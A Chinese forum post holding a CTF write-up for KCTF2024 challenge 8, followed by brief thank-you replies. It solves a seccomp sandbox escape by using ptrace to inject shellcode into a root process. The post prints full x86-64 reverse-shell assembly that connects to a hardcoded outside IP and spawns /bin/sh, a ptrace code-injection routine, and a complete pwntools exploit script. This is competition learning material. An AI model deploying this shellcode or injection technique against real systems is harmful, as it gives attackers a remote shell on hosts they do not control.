xia0ji233 发表于 2024-9-2 22:29

KCTF2024第八题 writeup

KCTF2024第八题——星门 writeup

<!--more-->

## 思路分析

拿到题目,是一道典型的写shellcode的题目,白名单系统调用,只允许 read,wait4 和 ptrace。

![](https://xia0ji233.pro/2024/09/02/KCTF2024/1.png)

沙箱系统调用号白名单首先想到了切架构,但是它题目也有判断架构。因此就只能利用这个 ptrace 去做文章了。

其次应当考虑信息以何种方式回传,因为原进程是连write都不能用的,侧信道也没法,所以便起了一个docker环境去试试。发现启动脚本中。

```sh
#!/bin/sh
# Add your startup script

# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;
```

​        于是选择让队友先起一个docker环境,然后观察里面可以使用的进程。

![](https://xia0ji233.pro/2024/09/02/KCTF2024/2.png)

发现了进程 `sleep infinity`,并且占用的 pid 始终保持 20 以内,并且脚本启动就是 root 权限,不用担心附加不上的问题。

最后要去尝试的一点就是该靶机是否出网,静态编译一个 socket 请求对外连接发现完全可行,因此考虑反弹 shell。

## 代码编写

### 反弹shell

于是开始着手写 shellcode,先写可以反弹shell的shellcode,这个shellcode是我们要注入到目标进程的。这里为了保证shellcode正确,先编译一个 demo 尝试。

反弹 shell 用汇编去描述其实也非常简单。首先,反弹shell的步骤如下:

1. 起一个socket套接字
2. 连接远程服务器
3. 将标准输入,标准输出,标准错误描述符都重定向到这个套接字描述符。
4. execve 运行一个 shell 程序。

这四个步骤分别可以对应

1. socket
2. connect
3. dup2
4. execve

这四个系统调用,稍微了解一下,把参数一传,就可以达到反弹 shell 的目的。

最终我的 shellcode 如下:

```assembly
mov edi,1
mov rsi,rsp
mov rdx,0x30
mov eax,1
syscall
/*socket(AF_INET,SOCK_STREAM,0)*/
mov edi,2
mov esi,1
mov edx,0
mov eax,41
syscall

mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov ,r14
mov ,r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall

/* dup2(fd=3, fd2=0) */
push 3
pop rdi
xor esi, esi /* 0 */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=1) */
push 3
pop rdi
push 1
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=2) */
push 3
pop rdi
push 2
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor , rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
```

其中 dup2 和 execve 都可以用 shellcraft 生成,socket 和 connect 需要自己配参数,因为你搜网上的教程大概率都是用一堆的宏。shellcraft 似乎不支持这个,所以需要手动去看看那些宏的值是多少。

至于 `0xe14e2b650f270002` 这个数怎么来的,可以直接 C 编译出去再看看的,C语言的写法是

```C
struct sockaddr_in serverAddr;
int clientSocket = socket(AF_INET, SOCK_STREAM, 0);//TCP listen
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(9999);
serverAddr.sin_addr.s_addr = inet_addr("101.43.78.225");
connect(clientSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr))
```

编译,gdb调试

![](https://xia0ji233.pro/2024/09/02/KCTF2024/3.png)

得到对应 `ip port` 的 `serverAddr` 的值。

这里需要注意的是,`connect` 中间需要构造一个 16 字节大小的结构体,然后传指针进去。这里一开始会比较头疼,因为你可能苦于没有确定可写的地址,但是后面想到 rsp 和 rbp 所指向的值通常是可写的,就往里面去写,然后把 rbp 作为这里的第二个参数。

然后就能得到手搓的 connect 代码。

```assembly
mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov ,r14
mov ,r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall
```

将代码注入一个 demo 进程,反弹 shell 成功

![](https://xia0ji233.pro/2024/09/02/KCTF2024/4.png)

### 注入进程

随后我们需要写一个可以利用 ptrace 将代码注入到另一个进程的 shellcode。

这里把上面编译好的 shellcode 放到+ 0x200 的位置上,方便做循环,然后开始编写注入代码,这里本地调试就假设我们已知我们要注入的进程的 pid。

这里可以写一个被注入进程的 demo。

```C
#include<unistd.h>
#include<stdio.h>
int main(){
        printf("pid=%d\n",getpid());
        while(1){
//                sleep(1);
        }
}
```

相关 ptrace 的解析,可以看我这一篇[文章](https://xia0ji233.pro/2023/12/03/Ptrace/)。首先我们要用 `PTRACE_ATTACH` 去附加这个进程,这里有一点很坑的地方是,它的第四个参数貌似不是 rcx 是 r10,并且用 shellcraft 生成也是这样,所以我在原有的基础上会加一句 `mov r10,rcx`。

所以第一步

```assembly
/*save mmap start addr*/
push rdx
/* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
mov edi,0x10/*ATTACH*/
mov esi,{pid}
mov rdx,0
mov rcx,0
mov eax,SYS_ptrace /* 0x65 */
syscall
```

第一句是因为调用入口时 `call rdx` 因此这里先保存 mmap 分配的地址,方便给下面的寄存器使用。

第二步,因为在 ptrace 附加完成之后,进程会被阻塞,所以我们可以趁这个时机将 RIP 后面的代码布置成我们上面编写的 shellcode。所以这一步需要获取 RIP 的值。

ptrace 有获取寄存器的选项,`ptrace(PTRACE_GETREGS, pid, NULL, &regs);`

第四个参数是指针,我们随便给一个内存区域即可,这里我用了 +0x800 的位置。

```assembly
mov edi,0xc /*GETREGS*/
mov esi,{pid}
mov rdx,0
pop rcx
push rcx
add rcx,0x800
mov r10,rcx
mov eax,SYS_ptrace /* 0x65 */
syscall
```

接下来是获取当前目标进程 RIP 的值,这里可以直接看结构体定义算偏移,也可以直接 gdb 起一个看看偏移,实际它在结构体的偏移是 +0x80。

```assembly
pop rcx
push rcx
add rcx,0x880
mov rdx,
/*RIP offset*/
```

接下来就用汇编写一个循环,ptrace 一次读写内存都是 8 个字节,并且需要注意的是,在写数据的时候,第四个参数不作为指针,而是直接作为一个字的数据被写入。

最后一点需要注意的是,shellcode 写入完成之后,要主动让进程脱离调试器,如果不管的话附加的进程死亡会导致被附加的进程一起死亡,shellcode不一定能被执行。

本地调试的时候可能会有一点麻烦,如果进程异常退出基本很难查到问题所在,因为一个进程不能同时被两个进程调试,因此我们需要调试附加的进程,每一次 ptrace 调用时查看返回值是否 <0,我遇到的比较多的是返回 -5,当时是一个内存写入错误,仔细一查发现是汇编代码写错了一个,导致取到了错误的地址。

## 最终EXP

```python
from pwn import *
if len(sys.argv)!=2:
    print('usage: exp.py pid')
    quit()
context.arch='amd64'
serveraddr=
#server struct
#target ip: 101.43.78.225:9999
#p=process('./test')
p=remote('47.101.191.23',9999)
#p.recvuntil('0x')
#addr=int(p.recv(12),16)

addr=0x7f0000000000
inject_shellcode=f'''
/*socket(AF_INET,SOCK_STREAM,0)*/
mov edi,1
mov rsi,rsp
mov rdx,0x30
mov eax,1
syscall

mov edi,2
mov esi,1
mov edx,0
mov eax,41
syscall

mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov ,r14
mov ,r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall

/* dup2(fd=3, fd2=0) */
push 3
pop rdi
xor esi, esi /* 0 */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=1) */
push 3
pop rdi
push 1
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=2) */
push 3
pop rdi
push 2
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor , rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
'''
#print(len(asm(inject_shellcode)))
inject_shellbytes=b'\x90'*6+asm(inject_shellcode)
print('inject_shellcode: '+hex(len(inject_shellbytes)))
pid=sys.argv
shellcode=f'''
/*save mmap start addr*/
push rdx
/* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
mov edi,0x10/*ATTACH*/
mov esi,{pid}
mov rdx,0
mov rcx,0
mov eax,SYS_ptrace /* 0x65 */
syscall

test ax,ax
jnz fail

mov edi,0xc /*GETREGS*/
mov esi,{pid}
mov rdx,0
pop rcx
push rcx
add rcx,0x800
mov r10,rcx
mov eax,SYS_ptrace /* 0x65 */
syscall

pop rcx
push rcx
add rcx,0x880
mov rdx,
/*RIP offset*/
pop rcx
add rcx,0x200
push rcx
/*inject shellcode*/
push rdx
mov rbx,0x100
loop:
    pop rdx
    pop rcx
    push rcx
    push rdx
    mov edi,4/*pokedata*/
    mov rsi,{pid}
    mov r10,
    mov eax,SYS_ptrace
    syscall
    pop rdx
    pop rcx
    add rcx,8
    add rdx,8
    push rcx
    push rdx
    sub rbx,8
    test rbx,rbx
    jnz loop

mov edi,7
mov rsi,{pid}
mov rdx,0
mov r10,0
mov eax,SYS_ptrace
syscall
mov edi,17
mov rsi,{pid}
mov rdx,0
mov r10,0
mov eax,SYS_ptrace
syscall


fail:
'''
payload=asm(shellcode).ljust(0x200,b'\0')+inject_shellbytes

#payload=inject_shellbytes

#gdb.attach(p)
p.send(payload)

#p.close()
p.interactive()
```

当时试了一个 pid=17 就反弹成功了。

![](https://xia0ji233.pro/2024/09/02/KCTF2024/5.png)

## 后话

其实这题解法应该挺多的,因为直接给了 root 权限,所以直接去写启动的二进制文件也不是不可以,把沙箱代码 patch 掉直接shellcode执行 sh,或者不用反弹shell,直接 orw 出了 flag udp 直接发过来也可以,总归它出网想要外带信息还是非常容易的。

szluyang 发表于 2024-9-2 22:47

看大佬们的精彩展示。

aniceday 发表于 2024-9-3 00:02

分析得不错

hehewolaile 发表于 2024-9-3 11:23

感谢分享

chronos8963 发表于 2024-9-3 17:10

大佬分析的很详细,来学习一下。

dkmg 发表于 2024-9-4 16:31

勉强看到gdb调试那里最终还是只能放弃了   {:1_909:}

跟不上实在跟不上

renjw234 发表于 2024-9-27 08:41

牛人,感谢分享哈

光影由心 发表于 2024-9-29 16:23

感谢分享!
页: [1]
查看完整版本: KCTF2024第八题 writeup